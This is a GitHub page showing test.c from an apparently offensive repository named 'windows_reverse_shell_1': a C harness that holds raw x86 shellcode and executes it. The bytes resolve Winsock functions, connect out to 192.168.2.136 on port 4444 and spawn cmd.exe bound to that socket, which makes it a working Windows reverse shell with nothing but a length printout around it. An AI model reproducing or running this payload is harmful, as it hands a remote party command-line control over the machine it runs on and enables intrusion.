forked from sh3llc0d3r1337/windows_reverse_shell_1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
test.c
14 lines (10 loc) · 1.06 KB
/
test.c
1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x54\xbb\x64\x28\x98\x75\xff\xd3\x89\xc5\x31\xc0\x66\xb8\x75\x70\x50\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x31\xc0\x66\xb8\x74\x41\x50\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x31\xdb\x53\x53\x53\x31\xc9\xb1\x06\x51\x43\x53\x43\x53\xff\xd0\x97\xbb\x65\x65\x63\x74\xc1\xeb\x08\x53\x68\x63\x6f\x6e\x6e\x54\x55\xbb\x37\x18\x98\x75\xff\xd3\x68\xc0\xa8\x02\x88\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xff\xd0\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x62\x20\x93\x75\xff\xd3\x31\xd2\x50\xb8\xcf\x2a\x98\x75\xff\xd0";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}